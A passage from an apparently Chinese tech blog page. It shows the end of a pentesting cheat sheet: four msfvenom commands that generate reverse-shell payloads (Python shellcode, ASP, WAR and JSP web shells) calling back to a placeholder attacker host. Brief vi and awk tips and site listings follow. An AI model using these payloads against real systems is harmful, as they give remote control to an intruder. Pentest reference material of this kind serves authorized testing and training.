msfvenom -p windows/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 EXITFUNC=thread -b "\x00" -f python -v shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f asp > shell.asp

(4)Linux

msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f war > shell.war

msfvenom -p java/jsp_shell_reverse_tcp LHOST=x.x.x.x LPORT=4444 -f raw > shell.jsp

3、Linux小技巧

(1)vi

移除檔案前5個字符

:%s/^.\{5}//

移除檔案后5個字符

:%s/.\{5}$//

(2)AWK

洗掉重復行

awk '!seen[$0]++' file

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/325480.html

標籤:其他

上一篇:CTF專題一2021網路WEB題目決議

下一篇:SpringCloud分布式微服務企業快速架構之云架構&設計思想

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more